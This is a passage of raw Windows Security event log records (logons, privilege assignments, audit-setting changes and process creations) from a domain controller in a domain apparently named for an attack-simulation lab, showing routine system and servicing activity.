AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch57.ldf - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247721 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\adprep\sch56.ldf - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247883 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: Key - Object Name: \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DfsrRo\Instances\DfsrRo - Handle ID: 0x7a0 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;FA;KA;;;WD) -03/11/2021 11:42:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247882 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: Key - Object Name: \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DfsrRo\Instances - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;FA;KA;;;WD) -03/11/2021 11:42:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247888 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x167BD7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247887 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x167BD7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247886 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:42:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=247885 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:42:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=247884 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x146A30 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247898 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc94 - New Process Name: C:\Windows\System32\vds.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\vds.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247897 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247896 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247895 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\System32\vdsldr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\vdsldr.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247894 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xba0 - New Process Name: C:\Windows\System32\dfssvc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\dfssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247893 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247892 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247891 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc8 - New Process Name: C:\Windows\System32\dfsrs.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x34c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\DFSRs.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247890 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247889 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:42:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247902 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x68 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247901 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5dc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247900 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd00 - Creator Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Ngen.exe Update /Queue /Delay - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247899 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xd00 - Creator Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Ngen.exe Update /Queue /Delay - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=247903 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x3b4 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\wbem\wmiprvse.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=247910 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A4D1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:42:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=247909 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x18A4D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: 